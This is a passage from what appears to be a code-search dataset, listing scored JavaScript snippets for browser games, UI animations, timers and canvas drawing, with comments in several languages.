"init() {\n let callback = () => {\n setTimeout(callback, 1000);\n this.onModify();\n };\n callback();\n }", "title": "" }, { "docid": "69ea18fbe188846cd3d679deb8ec72cd", "score": "0.5252175", "text": "function setResize(){\n\n\t\tsetDots();\n\n\t\tif($('.Pessoa').is(\":visible\") && PageVars.pessoaSelecionada != undefined)\n\t\t{\n\t\t\tvar pessoaPos = new getCenter(PageVars.pessoaSelecionada);\n\t\t\n\t\t\trefreshPersonsPosition(pessoaPos.posX,pessoaPos.posY);\n\t\t\n\t\t\tPageVars.pessoaSelecionada.css('background-position',((125*(PageVars.pessoaSelecionada.attr(\"numId\")))*-1)+'px 0px');\n\t\t}\n\n\t\tif($( window ).width() >= 768)\n\t\t{\n\t\t\t$('.purpleDot').detach();\n\t\t\tcreateLinesFunc();\n\t\t}\n\n\t\tfor(var a=0; a<$('.TextoPessoaContent').length; a++)\n\t\t{\n\t\t\tResetPosicaoTextoFuncionario(a);\n\t\t}\n\n\n\n\t\t/* para Clientes */\n\n\t\tvar restNumero = PageVars.numeroTransicaoClientes;\n\n\t\tPageVars.numeroTransicaoClientes = ($( window ).width() <= 400 ? 1:4);\n\t\t\n\t\tif(restNumero != PageVars.numeroTransicaoClientes){\n\t\t\tlistaClientes = [\n\t\t\t\t\t\t\t\"natura\",\n\t\t\t\t\t\t\t\"telefonica\",\n\t\t\t\t\t\t\t\"amorim\",\n\t\t\t\t\t\t\t\"instituto_unibanco\",\n\t\t\t\t\t\t\t\"saraiva\",\n\t\t\t\t\t\t\t\"etico\",\n\t\t\t\t\t\t\t\"HCB\",\n\t\t\t\t\t\t\t\"EdBrasil\"\n\t\t\t\t\t\t\t];\n\t\t\tatualizarSlideClientes(PageVars.numeroTransicaoClientes);\n\t\t}\n\t\n\t}", "title": "" }, { "docid": "fca82b4dc3e717ee27ebbf5375027019", "score": "0.52385855", "text": "function desactive_menu(){\n \tmenu_ouvert=false;\n\n \t//on remet la div globale à sa rotation d'origine\n \tdiv_globale.css('transform','rotate(0deg)');\n\n \t//On retransforme els barre de la croix en points\n \t$('.point-centre-01').animate({width:'5px'},200, function() {});\n\n \t//Lorsque la seconde barre sera arrivée à la même taille qu'un point\n \t$('.point-centre-02').animate({height:'5px'},200, function() {\n\n\t \t//on rend visible les points\n\t\t$('.point-haut-gauche').css('display','block');\n\t\t$('.point-haut-centre').css('display','block');\n\t\t$('.point-haut-droite').css('display','block');\n\t\t$('.point-milieu-gauche').css('display','block');\n\t\t$('.point-milieu-centre').css('display','block');\n\t\t$('.point-milieu-droite').css('display','block');\n\t\t$('.point-bas-gauche').css('display','block');\n\t\t$('.point-bas-centre').css('display','block');\n\t\t$('.point-bas-droite').css('display','block');\n\n\t\t//On supprime els barres de la croix\n\t\t$('.point-centre-01').remove();\n\t\t$('.point-centre-02').remove();\n\n\t\t// on appelle les fonction qui vont mettre els points à leurs place d'origine\n\t\tsetTimeout(originepoint01, 50);\n\t setTimeout(originepoint02, 100);\n\t\tsetTimeout(originepoint03, 150);\n\t\tsetTimeout(originepoint04, 200);\n\t\tsetTimeout(originepoint05, 250);\n\t\tsetTimeout(originepoint06, 300);\n\t\tsetTimeout(originepoint07, 350);\n\t\tsetTimeout(originepoint08, 400);\n\n \t })\n\n}", "title": "" }, { "docid": "cec1eb84c42e1293b86cdbf324e2e91d", "score": "0.5203002", "text": "function chamadaDeMetodosRelatorio() {\r\n setTimeout(function () {\r\n gerarGraficoDemonstrativoVendaPorItem();\r\n gerarGraficoGanhoGastoMensal();\r\n gerarGraficoDemonstrativoVendaPorItem();\r\n gerarGraficoQuantidadeVendas();\r\n tabelaDeRelatorioCaixa();\r\n tabelaGeralDeRelatorios();\r\n }, 300)\r\n}", "title": "" }, { "docid": "9cacb2f9520fd763ebc1083a166b0c36", "score": "0.51980007", "text": "function transicion(){\n\treloj_transicion=setInterval(\"mover_foto()\",1);\n}", "title": "" }, { "docid": "ba78dcf70822c384e782628b04231399", "score": "0.51959777", "text": "function onObserverPesquisa(){ \r\n //Botao pesquisar\r\n jQuery('#pesquisar').unbind().click(function(){\r\n pesquisarTermoAditivoServico();\r\n });\r\n //Botao Novo - Termo Aditivo\r\n jQuery('#novo').unbind().live(\"click\",function(){\r\n jQuery('#frame01').empty();\r\n limparMensagem();\r\n carregarTelaTermoAditivoServico();\r\n });\r\n //Link - Carrega dados para edi��o\r\n jQuery('a[id*=num_termo_]').unbind().click(function(){\r\n var id_termo = jQuery(this).attr(\"id\").split(\"_\")[2];\r\n jQuery('#frame01').empty();\r\n limparMensagem();\r\n carregarTelaTermoAditivoServico(id_termo);\r\n });\r\n}", "title": "" }, { "docid": "7a9ee406b79ccb04fd4d155ce2b10736", "score": "0.5184514", "text": "function nueva_linga(id,cantidad,tipo_linga){\n var peso_linga=calcular_peso(cantidad,unit_seleccionado);\n var id_linga= $(id).attr(\"id\");\n // var class_linga= $(id).attr(\"class\");\n var ancho_linga=$(id).css(\"width\");\n var ancho_lienzo= $(\".lienzo:visible\").css(\"width\");\n var alto_linga=$(id).css(\"height\");\n var posicionX;\n var posicionY;\n var tier= $(\".lienzo:visible\").attr(\"id\");\n // PRIMERO SE GUARDA EN EL ARRAY GLOBAL DE LINGAS\n Linga.push({\n id:id_linga,\n id_linga:0,\n rotacion:bodegas_obj[0].ROTACION,\n clase:'col-sm-2 unit draggable ui-widget-header',\n ancho:parseFloat(ancho_linga),\n alto:parseFloat(alto_linga),\n cantidad:cantidad,\n pos_x:0,\n pos_y:0,\n peso:peso_linga,\n tipo:tipo_linga,\n giro:0,\n tier:tier,\n id_unit:unit_seleccionado,\n id_puerto:$(\"#destino\").val(),\n nombre_puerto:nombre_puerto\n });\n guardar_linga(); // SE GUARDA LA LINGA CREADAS\n datos_tier(); // SE REFRESCAN LOS DATOS DE LA TABLA DE LINGAS\n $(id).css(\"position\",\"absolute\"); // SE LE DA POSICION ABSOLUTA\n elemento_arrastrable(id); // SE LE ASIGNA LA PROPIEDAD ARRASTRABLE\n}", "title": "" }, { "docid": "4ef5c91de0a51a43945de600a5b05629", "score": "0.517238", "text": "init() {\n this.watch_for_new_image();\n this.change_hotspot_image();\n this.listen_for_user_clicks();\n this.add_exisiting_points();\n this.sortabe();\n }", "title": "" }, { "docid": "ef6c9163e00c71addd224f6a9ea48921", "score": "0.51691514", "text": "auxRest() {\n this.scene.time.delayedCall(500, this.restMove, [], this); //Lo movemos\n this.scene.time.delayedCall(500, this.rotateRest, [], this); //Lo giramos \n }", "title": "" }, { "docid": "24e514e03ed6e587d266e25847152234", "score": "0.5165544", "text": "function areaDeJuegoActualizada(){\n\tvar x, height, distancia,\n\t\tminHeight, maxHeight,\n\t\tminDistancia,\n\t\tmaxDistancia;\n\n\n\tfor (i = 0; i < obstaculos.length; i +=1){\n\t\tif (objetoJuego.chocar(obstaculos[i])) {\n\t\t\tareaDeJuego.parar();\n\t\t\treturn;\n\t\t}\n\t}\n\n\tfor (i = 0; i < limite.length; i +=1){\n\t\tif (objetoJuego.chocar(limite[i])) {\n\t\t\tareaDeJuego.parar();\n\t\t\treturn;\n\t\t}\n\t}\n\n\tareaDeJuego.borrar();\n\tareaDeJuego.frame +=1;\n\n\t//Niveles\n\t/*Nivel 1. Crea dos obstaculos uno arriba del otro con una distacia min y max random, cada cierto tiempo(intervalo) ,y si los puntos concuerdan, se crean dos mas*/\n\tif (areaDeJuego.frame == 1 || intervalos(100) && puntosSumados.length < 1000){\n\t\t\n\t\tx = areaDeJuego.canvas.width;\n\t\tminHeight = 20;\n\t\tmaxHeight = 200;\n\t\tminDistancia = 50;\n\t\tmaxDistancia = 100;\n\n\t\theight = Math.floor(Math.random()*(maxHeight-minHeight+1)+minHeight);\n\t\tdistancia = Math.floor(Math.random()*(maxDistancia-minDistancia+1)+minDistancia);\n\t\n\t\tobstaculos.push(new componente(10, height, \"red\", x, 0));\n\t\tobstaculos.push(new componente(10, x - height - distancia, \"red\", x, height + distancia));\n\t}\n\t//Nivel 2. Aumenta la velocidad en la que se crea los obstaculos, ademas se disminuye la distancia entre el de arriba y el de abajo\n\telse if(intervalos(90) && puntosSumados.length > 1000 && puntosSumados.length < 2000){\n\t\t\n\t\t\tx = areaDeJuego.canvas.width;\n\t\t\tminHeight = 20;\n\t\t\tmaxHeight = 200;\n\t\t\tminDistancia = 50;\n\t\t\tmaxDistancia = 80;\n\n\t\t\theight = Math.floor(Math.random()*(maxHeight-minHeight+1)+minHeight);\n\t\t\tdistancia = Math.floor(Math.random()*(maxDistancia-minDistancia+1)+minDistancia);\n\t\n\t\t\tobstaculos.push(new componente(10, height, \"blue\", x, 0));\n\t\t\tobstaculos.push(new componente(10, x - height - distancia, \"blue\", x, height + distancia));\n\n\n\t}\n\t//nivel 3. vuelve a disminuir la distancia y el intevalo\n\telse if(intervalos(60) && puntosSumados.length > 2000 && puntosSumados.length < 3000){\n\n\t\t\tx = areaDeJuego.canvas.width;\n\t\t\tminHeight = 20;\n\t\t\tmaxHeight = 200;\n\t\t\tminDistancia = 50;\n\t\t\tmaxDistancia = 60;\n\n\t\t\theight = Math.floor(Math.random()*(maxHeight-minHeight+1)+minHeight);\n\t\t\tdistancia = Math.floor(Math.random()*(maxDistancia-minDistancia+1)+minDistancia);\n\t\n\t\t\tobstaculos.push(new componente(10, height, \"black\", x, 0));\n\t\t\tobstaculos.push(new componente(10, x - height - distancia, \"black\", x, height + distancia));\n\t\t\n\t}\n\t//nivel 4. Se mantiene la distancia y el intervalo del nivel anterior pero se cambia en color del fondo de canvas con transition en css\n\telse if(intervalos(60) && puntosSumados.length > 3000){\n\n\t\t\tx = areaDeJuego.canvas.width;\n\t\t\tminHeight = 20;\n\t\t\tmaxHeight = 200;\n\t\t\tminDistancia = 50;\n\t\t\tmaxDistancia = 60;\n\n\t\t\theight = Math.floor(Math.random()*(maxHeight-minHeight+1)+minHeight);\n\t\t\tdistancia = Math.floor(Math.random()*(maxDistancia-minDistancia+1)+minDistancia);\n\t\n\t\t\tobstaculos.push(new componente(10, height, \"red\", x, 0));\n\t\t\tobstaculos.push(new componente(10, x - height - distancia, \"red\", x, height + distancia));\n\t\t\t\n\t\t\tvar canvas = document.querySelector(\"canvas\");\n\t\t\tcanvas.className ='fondo';\n\n\t}\n\telse if( intervalos(60) && puntosSumados.length == 4000){\n\n\t\t\talert(`ganaste ${nombre}!!!`);\n\t}\n\n\n\t//velocidad en la que se desplazan los obstaculos y limites dentro del canvas\n\tfor (i = 0; i < obstaculos.length; i += 1) {\n\t\tobstaculos[i].x += -3;\n\t\tobstaculos[i].actualizar();\n\t}\n\n\tfor (i = 0; i < limite.length; i += 1) {\n\t\tlimite[i].x += -0;\n\t\tlimite[i].actualizar();\n\t}\n\n\tpuntos.texto = `Puntos de ${nombre}: ` + areaDeJuego.frame;\n\tpuntosSumados.push(areaDeJuego.frame);\n\tpuntos.actualizar();\n\tobjetoJuego.movimiento();\n\tobjetoJuego.actualizar();\n}", "title": "" }, { "docid": "0e7de37dc7cbc43484e9b9e86d9fb7ec", "score": "0.51623803", "text": "function initAct(){\npaintBoard();\nif (tiAval){parent.iniciaActividade()}if ((tiTime) && (tiButtonTime)){paintButtonTime();}\n}", "title": "" }, { "docid": "c07100223f4cc0142e375ee0c4392244", "score": "0.51442", "text": "init() {\n\n if(this.context.trialType === 'demo'){\n trajectoryParameters = this.context.demoObstructions.map((obstruction,index)=> [obstruction,this.context.demoTrajectories[index]]);\n }else {\n trajectoryParameters = super.getTrajectoriesObstacles(gameArrayValues.OBSTRUCTIONS,gameArrayValues.HEIGHTS);\n }\n\n super.fillAudioArray(soundURLs,sounds);\n super.fillAudioArray(catchSeriesURls, catchSeriesSounds);\n super.fillImageArray(imageURls,images);\n super.fillImageArray(obstructionsURLs,obstructionImages);\n\n\n\n\n super.paddle = {\n positions:[],\n times:[],\n velocity: super.Utils.paddleSpeed,\n paddleLastMovedMillis: 0\n };\n\n document.addEventListener(\"mousemove\", super.onMouseMove);\n sounds[gameSound.START].addEventListener('playing', super.onSoundEvent);\n sounds[gameSound.START].addEventListener('onloadeddata', this.initGame(), false);\n super.init();\n\n }", "title": "" }, { "docid": "2b61804116b2842d511b9296f07abb49", "score": "0.5140585", "text": "function ufoController() {\r\n if (ufo.ufoAttributes.ufoActions.UP.isDown) {\r\n ufo.ufoValue.y = ufo.ufoValue.y - ufo.ufoAttributes.velocity;\r\n ufo.ufoAttributes.weapon.y = ufo.ufoValue.y;\r\n showLimits();\r\n endGame(\"limitCollision\");\r\n if (ufo.ufoAttributes.ufoActions.SHOOT.isDown) {\r\n actionShoot();\r\n }\r\n } else if (ufo.ufoAttributes.ufoActions.DOWN.isDown) {\r\n ufo.ufoValue.y = ufo.ufoValue.y + ufo.ufoAttributes.velocity;\r\n ufo.ufoAttributes.weapon.y = ufo.ufoValue.y;\r\n showLimits();\r\n endGame(\"limitCollision\");\r\n if (ufo.ufoAttributes.ufoActions.SHOOT.isDown) {\r\n actionShoot();\r\n }\r\n } else if (ufo.ufoAttributes.ufoActions.SHOOT.isDown) {\r\n actionShoot();\r\n } else if (ufoAttributes.ufoActions.RELOAD.isDown) {\r\n if (timer2 === null) {\r\n if (\r\n ufo.ufoAttributes.laser.getTotalUsed() ===\r\n ufo.ufoAttributes.laser.children.size\r\n ) {\r\n timer2 = context.time.addEvent({\r\n delay: 3000,\r\n callback: reloadBullets,\r\n });\r\n reloading = true;\r\n bulletAmount = null;\r\n }\r\n } else {\r\n ufo.ufoAttributes.laserText.setText(\"Recargando...\");\r\n }\r\n } else {}\r\n\r\n function reloadBullets() {\r\n ufo.ufoAttributes.laser.children.each((bullet) => {\r\n bullet.visible = false;\r\n bullet.active = false;\r\n }, this);\r\n timer2 = null;\r\n reloading = false;\r\n ufo.ufoAttributes.laserText.setText(\r\n \"Municion: \" +\r\n ufo.ufoAttributes.laser.children.size +\r\n \"/\" +\r\n ufo.ufoAttributes.laser.children.size\r\n );\r\n PlayAudio(recarga_bala);\r\n }\r\n /**\r\n * 11. El láser de la nave sólo dispara en línea recta (aqui se controla el disparo horizontal del laser, en la\r\n * funcion laserBulletAndBallonsCreator() se crea el laser).\r\n */\r\n function actionShoot() {\r\n if (context.time.now > ufo.ufoAttributes.timeBullet) {\r\n bullet2 = ufo.ufoAttributes.laser.getFirstDead(false);\r\n if (bullet2) {\r\n bullet2.body.reset(ufo.ufoValue.x - 130, ufo.ufoValue.y);\r\n bullet2.visible = true;\r\n bullet2.active = true;\r\n bullet2.body.velocity.x = -1000;\r\n ufo.ufoAttributes.timeBullet = context.time.now + 600;\r\n\r\n if (bulletAmount === null) {\r\n bulletAmount = ufo.ufoAttributes.laser.children.size;\r\n }\r\n ufo.ufoAttributes.laserText.setText(\r\n \"Municion: \" +\r\n ufo.ufoAttributes.laser.children.size +\r\n \"/\" +\r\n (bulletAmount -= 1)\r\n );\r\n PlayAudio(laser);\r\n }\r\n if (\r\n ufo.ufoAttributes.laser.getTotalUsed() ===\r\n ufo.ufoAttributes.laser.children.size &&\r\n reloading === true\r\n ) {\r\n ufo.ufoAttributes.laserText.setText(\"Recargando...\");\r\n } else if (\r\n ufo.ufoAttributes.laser.getTotalUsed() ===\r\n ufo.ufoAttributes.laser.children.size &&\r\n reloading === false\r\n ) {\r\n ufo.ufoAttributes.laserText.setText(\"R para recargar\");\r\n PlayAudio(sin_balas);\r\n } else {}\r\n }\r\n }\r\n}", "title": "" }, { "docid": "5ab3342795778a73fc0b16a05d931e63", "score": "0.5132971", "text": "function media_upcreate()\n {\n //reestablishes detecton to hide/unhide image for case the state\n //rg.detected_user_interaction_effect_DONE came from subessay launch\n sDomF.detected_user_interaction_effect( !rg.detected_user_interaction_effect_DONE );\n\n //this is a \"policy\" ... should be in the state manager if any ...\n rg.allLettersAreHidden = !rg.detected_user_interaction_effect_DONE;\n\n if( !ssF.mediaModelInitialized ) {\n ns.haff( stdMod, 'create_digital_legend' );\n }\n\n //:updates subessay menu\n var exAspect = exegs[ amode.theorion ][ amode.aspect ];\n var subexeg = exAspect.subessay2subexeg[ amode.subessay ];\n ////reveals subessay in menu and in text\n sDomF.addsChosenCSSCls_to_subessay8menuSubitem({ exAspect, subexeg })\n\n //todm ... generalize in one spot\n ssF.toogle_detectablilitySliderPoints4Tools( stdMod, );\n\n stdMod.trajectoryShapes_2_media();\n stdMod.paints_draggableDecPoints8Line();\n //does not repeat creation ...A.svgel, ...\n stdMod.dec2media();\n stdMod.dragPointPos_2_mediaOfDragKernels();\n\n //***********************************************************\n //wraps remained tasks into d8d slider\n //if slider is already created ...\n hafff( rg.slider_sltime, 'upd_sliderGUI8legend__8__unmask' ); \n //***********************************************************\n\n ssF.mediaModelInitialized = true;\n }", "title": "" }, { "docid": "0de145f8b827ef5b3abdfa3dd263534d", "score": "0.51321244", "text": "commencerJeu2(){\r\n this.conteneurauto = new createjs.Container();\r\n this.stage.addChild(this.conteneurauto)\r\n this.conteneurEnnemis3 = new createjs.Container();\r\n this.stage.addChild(this.conteneurEnnemis3)\r\n setTimeout(this.ajouterPersonnage.bind(this), 3000);\r\n this.timeoutennemiconstucteur= setTimeout(this.ennemisaucomplet4,5000);\r\n setTimeout(this.vieHeros.bind(this), 100);\r\n\r\n\r\n }", "title": "" }, { "docid": "cdc05d88c0c63dedd3eb57b98a26911d", "score": "0.51313794", "text": "function actualizaCont(tiempo){\n\n time = tiempo;\n HUD.tempLevel(tiempo); \n tiempo--;\n if(time >= 0 && !endCourse) {\n tempExtra = setTimeout(function(){actualizaCont(tiempo);}, 1000);\n }\n}", "title": "" }, { "docid": "74c20fcb3192aa30e00ed60d5b64e56f", "score": "0.5124747", "text": "ajoutesol() {\r\n\r\n\r\n this.solrue = [\r\n new createjs.Bitmap(this.chargeur.getResult(\"sol\"), true),\r\n new createjs.Bitmap(this.chargeur.getResult(\"sol1\"), true)\r\n ];\r\n this.solrue[0].x = 0;\r\n this.solrue[1].x = 10403;\r\n\r\n\r\n\r\n this.solrue[0].y = this.stage.canvas.height - this.solrue[0].getBounds().height + 40 ;\r\n this.solrue[1].y = this.stage.canvas.height - this.solrue[1].getBounds().height +40;\r\n this.stage.addChild(this.solrue[0], this.solrue[1]);\r\n\r\n this.quelleFonctionEcouteur1 = (this.actualisersol.bind(this));\r\n\r\n\r\n this.quelleFonctionEcouteur2 = (this.actualiser1.bind(this));\r\n\r\n\r\n createjs.Ticker.addEventListener(\"tick\", this.quelleFonctionEcouteur1);\r\n createjs.Ticker.addEventListener(\"tick\", this.quelleFonctionEcouteur2);\r\n\r\n\r\n }", "title": "" }, { "docid": "4b6aabc28c7d707d0df38f1f9f4e5dfb", "score": "0.51168543", "text": "onUpdate() {}", "title": "" }, { "docid": "4b6aabc28c7d707d0df38f1f9f4e5dfb", "score": "0.51168543", "text": "onUpdate() {}", "title": "" }, { "docid": "51462f79a8ce988860b1526466896e19", "score": "0.510695", "text": "setPlacementServantPointer(portrait, servantUI, servant, manaAmount) {\n portrait.setInteractive();\n\n portrait.on('pointerdown', (pointer) => { if (!pointer.rightButtonDown()) {\n\n // Already deployed - remove unit from placement\n if (portrait.alpha < 1) {\n this._sounds.cancel.play();\n\n // Fix tiles\n for (const sprite of servantUI) { sprite.tint = 0xffffff; sprite.alpha = 1; }\n portrait.on('pointerover', (pointer) => { for (const sprite of servantUI) { sprite.tint = 0xbbbbbb; sprite.alpha = 1; } } );\n portrait.on('pointerout', (pointer) => { for (const sprite of servantUI) { sprite.tint = 0xffffff; sprite.alpha = 1; } } );\n\n // Remove unit\n this.killUnit(servant, true);\n\n var amount = parseInt(manaAmount.text);\n manaAmount.text = (amount + servant.cost);\n\n return;\n }\n\n // Cost too high\n var amount = parseInt(manaAmount.text);\n if (amount - servant.cost < 0) {\n this._sounds.click.play();\n return;\n }\n\n\n this._sounds.selectMenu.play();\n\n // No Tile selected\n if (!this._placementTile) {\n if (!this._placementUnit) {\n // Select this unit\n this._placementUnit = { spriteUI: servantUI, sprite: portrait, unit: servant };\n\n for (const sprite of servantUI) { sprite.tint = 0x888888; }\n portrait.on('pointerover', (pointer) => { for (const sprite of servantUI) { sprite.tint = 0x888888; } } );\n portrait.on('pointerout', (pointer) => { for (const sprite of servantUI) { sprite.tint = 0x888888; } } );\n }\n else {\n // Deselect other unit\n var otherPortrait = this._placementUnit.sprite;\n var otherServantUI = this._placementUnit.spriteUI;\n for (const sprite of otherServantUI) { sprite.tint = 0xffffff; }\n otherPortrait.on('pointerover', (pointer) => { for (const sprite of otherServantUI) { sprite.tint = 0xbbbbbb; } } );\n otherPortrait.on('pointerout', (pointer) => { for (const sprite of otherServantUI) { sprite.tint = 0xffffff; } } );\n\n // Don't reselect same unit\n if (this._placementUnit.unit == servant) {\n this._placementUnit = null;\n return;\n }\n\n // Select this unit\n this._placementUnit = { spriteUI: servantUI, sprite: portrait, unit: servant };\n\n for (const sprite of servantUI) { sprite.tint = 0x888888; }\n portrait.on('pointerover', (pointer) => { for (const sprite of servantUI) { sprite.tint = 0x888888; } } );\n portrait.on('pointerout', (pointer) => { for (const sprite of servantUI) { sprite.tint = 0x888888; } } );\n }\n }\n\n // Tile selected\n else {\n\n // Deselect other unit\n if (this._placementUnit) {\n var otherPortrait = this._placementUnit.sprite;\n var otherServantUI = this._placementUnit.spriteUI;\n this._placementUnit = null;\n\n for (const sprite of otherServantUI) { sprite.tint = 0xffffff; }\n otherPortrait.on('pointerover', (pointer) => { for (const sprite of otherServantUI) { sprite.tint = 0xbbbbbb; } } );\n otherPortrait.on('pointerout', (pointer) => { for (const sprite of otherServantUI) { sprite.tint = 0xffffff; } } );\n }\n\n // Deselect tile\n var xTile = this._placementTile.x;\n var yTile = this._placementTile.y;\n var tileSprite = this._placementTile.select;\n this._placementTile = null;\n\n tileSprite.tint = 0xffffff;\n tileSprite.on('pointerover', (pointer) => { tileSprite.tint = 0xffffff; } );\n tileSprite.on('pointerout', (pointer) => { tileSprite.tint = 0xffffff; } );\n\n // Fade out token\n for (const sprite of servantUI) { sprite.tint = 0xffffff; sprite.alpha = 0.4; }\n portrait.on('pointerover', (pointer) => { for (const sprite of servantUI) { sprite.tint = 0xbbbbbb; sprite.alpha = 0.9; } } );\n portrait.on('pointerout', (pointer) => { for (const sprite of servantUI) { sprite.tint = 0xffffff; sprite.alpha = 0.4; } } );\n\n // Spawn unit\n this.spawnUnit(servant, xTile, yTile);\n\n manaAmount.text = (amount - servant.cost);\n }\n\n } });\n\n portrait.on('pointerover', (pointer) => { for (const sprite of servantUI) { sprite.tint = 0xbbbbbb; } } );\n portrait.on('pointerout', (pointer) => { for (const sprite of servantUI) { sprite.tint = 0xffffff; } } );\n }", "title": "" }, { "docid": "743b709c7d05f243c88607ac2c1bfa47", "score": "0.50911576", "text": "function comenzar(){\n zonadatos=document.getElementById(\"zonadatos\");\n\n var boton=document.getElementById(\"archivos\");\n\n //change se dispara cuando se cambia la info del boton\n boton.addEventListener(\"change\", subir_archivos,false);\n}", "title": "" }, { "docid": "8e8bcf17333a433611bdfc0997cdab47", "score": "0.50904685", "text": "function lluviaDulces(lluviaParam){\n var duracionCaida = duracionAnimLluvia;\n $('.dulce[nuevos][y=\"'+lluviaParam['filaInicial']+'\"]').each(function(){\n var dulce = $(this).removeAttr('nuevos').show();\n var tmp = $(this).clone().removeAttr('style');\n dulce.animate({top:lluviaParam['limiteinf'] + \"px\"}, duracionAnimLluvia, function(){\n $(this).css({position: 'static'});\n dragDrop();\n }).promise().done(function(){\n if (lluviaParam['filaInicial'] <= nCols){\n dulce.replaceWith(tmp);\n //Se crea el atributo de posicion top/left del dulce\n tmp.attr({'posLeft': tmp.offset().left, 'posTop': tmp.offset().top})\n }\n });\n }).promise().done(function(){\n setTimeout(function(){\n if (lluviaParam['filaInicial'] < nCols){\n if (lluviaParam['recurrencia']){\n lluviaDulces({'filaInicial': lluviaParam['filaInicial'] + 1,\n 'limiteinf': lluviaParam['limiteinf'] - nDistancia[lluviaParam['filaInicial']],\n 'recurrencia': lluviaParam['recurrencia']\n });\n }\n }else return false;\n }, duracionCaida)\n })\n }", "title": "" }, { "docid": "2e161b8bfffa28d990acfff45eda195a", "score": "0.50862145", "text": "init() {\n\t\tthis.update()\n\t}", "title": "" }, { "docid": "608a44ae6319b74a1059b4a53f5f4620", "score": "0.508542", "text": "ajouterEnnemi2() {\r\n\r\n if(!createjs.Ticker.paused){\r\n let ennemi2 = new Chauve_souris(this.chargeur.getResult(\"chauvesouris\"),this.personnage,this);\r\n ennemi2.x =-100\r\n ennemi2.y = 150\r\n this.conteneurEnnemis2.addChild(ennemi2);\r\n }\r\n\r\n this.timeoutennemi2=setTimeout(this.ennemisaucomplet2, Math.random() * 2000 + 2000);\r\n\r\n }", "title": "" }, { "docid": "a40b0620eae4bf08cff350921429bd1d", "score": "0.5083669", "text": "function ug_sliderHeroDefaults() {\n\n $(\".ug.slider-hero\").each( function() {\n var self = $(this),\n arrows = self.find(\".arrows\");\n\n\n $(this).find(\".slide-wrapper\").find(\".slide\").first().addClass(\"active\");\n $(this).attr(\"slide-shown\", \"0\");\n $(this).find(\".active\").removeClass(\"active\");\n $(this).find(\".progress span.0\").addClass(\"active\");\n $(this).find(\".wrapper\").velocity({ translateX: 0 });\n\n if( self.find(\".progress\").length > 0 ) {\n\n\n $(\".progress span\").remove();\n\n var slideCount = self.find(\".slide-item\").length;\n\n for ( var i = 0; i < slideCount; i++ ) {\n $(\"<span class='\" + i+ \"'></span>\").appendTo(\".progress\");\n }\n\n $(\".ug.slider-hero .progress span\").click( function(){\n console.log($(this));\n ug_sliderHeroShift($(this));\n });\n\n }\n\n\n // setTimeout( function() {\n ug_sliderHeroButtonSet(arrows, self);\n // }, 50);\n\n\n\n });\n\n}", "title": "" }, { "docid": "b3d8fe51bad76b54e4a708c5b43bbcb2", "score": "0.5083582", "text": "inicialize(){\n this.setDisplayTime(); \n setInterval( () => {\n this.setDisplayTime(); \n }, 1000);\n this.setLastNumberToDisplay();\n this.pasteFromClipboard();\n\n document.querySelectorAll(\".btn-ac\").forEach( btn => {\n btn.addEventListener(\"dblclick\", e => {\n this.toggleAudio();\n })\n })\n }", "title": "" }, { "docid": "9236c131aba8138193e05add249c477a", "score": "0.5069579", "text": "function dibujar_lingas_tier(){\n for(var i=0;i<Linga.length;i++){\n $(\".lienzo\").css(\"display\",\"none\");\n $(\"#\"+Linga[i].tier).css(\"display\",\"block\");\n var padre=$(\"#\"+Linga[i].tier);\n\n var left=$(padre).position().left;\n var top=$(padre).position().top;\n if(Linga[i].giro==0){\n var linga_tier=$(\"<div id=\"+Linga[i].id+\" class=\"+Linga[i].clase+\" onmousedown='opciones_lingas(this,event);'><p class='number'>\"+Linga[i].cantidad+\"</p></div>\");\n }else{\n var linga_tier=$(\"<div id=\"+Linga[i].id+\" class=\"+Linga[i].clase+\" onmousedown='opciones_lingas(this,event);'><p class='giro1'>\"+Linga[i].cantidad+\"</p></div>\");\n }\n $(linga_tier).css({\n \"position\":\"absolute\",\n \"left\":(parseFloat(Linga[i].pos_y)+parseFloat(left))+\"px\",\n \"top\":(parseFloat(Linga[i].pos_x)+parseFloat(top))+\"px\",\n \"width\":Linga[i].ancho,\n \"height\":Linga[i].alto,\n \"text-align\":\"center\",\n \"outline\": \"1px solid\",\n \"background\":\"#a1a4b3\"\n });\n padre.append(linga_tier);\n elemento_arrastrable(linga_tier);\n }\n $(\".lienzo\").css(\"display\",\"none\");\n $(\"#liezo-1-1\").css(\"display\",\"block\");\n datos_tier();\n $('.lienzo').attr(\"onclick\",\"deseleccionar();\");\n}", "title": "" }, { "docid": "fc367ceec3d27d886fffbe7545d2334f", "score": "0.5066824", "text": "function Single_1(currgame) {\n this.tasks = [];\n // Push Main Tasks here:\n this.tasks.push(new Single_1_Task_SpreadShot(currgame));\n let currdir = 1;\n this.update = function () { // Main Loop for a given Danmakanvas Instance\n if (currgame.everyinterval(50)) { \n let bullets = CreateRingStackA2(20, 5, 0.1, GetCenterX(currgame), GetCenterY(currgame), 0, Math.random() * Math.PI*2, 0.01, 12, \"#FF00FF\", 2, 3, 0.5, 1, -1, currgame);\n let objctr = 0;\n for (objctr = 0; objctr < bullets.length; objctr += 1) {\n let currbullet = bullets[objctr];\n let angvel = 0.01 * currdir;\n currbullet.customupdate = function() {applywvel(currbullet, angvel);}\n // WARNING: You CANNOT use `bullets[objctr].customupdate = function() {applywvel(bullets[objctr], 0.01 * currdir);}`\n // Experiment: What happens if `0.01 * currdir`` directly in the applywvel function? (see below)\n //currbullet.customupdate = function() {applywvel(currbullet, 0.01 * currdir);}\n // This behavior is because the function will refer to the current state of the currdir variable, which changes over time\n }\n currdir *= -1; // Flip angular velocity direction each time\n }\n // Remove completed tasks\n let tasktoremove = [];\n let i;\n for (i = 0; i < this.tasks.length; i += 1) {\n this.tasks[i].update();\n if (this.tasks[i].finished) {\n tasktoremove.push(i);\n this.tasks[i].remove();\n }\n }\n for (i = tasktoremove.length - 1; i >= 0; i -= 1) {\n this.tasks.splice(tasktoremove[i], 1);\n }\n }\n this.remove = function () {\n this.tasks = [];\n }\n}", "title": "" }, { "docid": "d7c13f305521bfcb1a6f378d5174d576", "score": "0.50605077", "text": "function carga() {\n TrabajadoresCompleto();\n Cuerpos();\n fechaActual();\n}", "title": "" }, { "docid": "49b8e06408b29f5ecb6442720dc93a88", "score": "0.5059195", "text": "function inicio(){\t//Cada 1000dt ejecuta la función de mover nave\n\t\t\ttiempo = setInterval(moverNave,dt*1000);\n\t\t\t}", "title": "" }, { "docid": "fc29974af5b1878dd6850c453483535b", "score": "0.5058376", "text": "smaAdvancing() {\r\n\r\n }", "title": "" }, { "docid": "b66f017c5ab96a3006cbe16198f08aa3", "score": "0.50492", "text": "terminer2(){\r\n\r\n this.personnage.detruire()\r\n 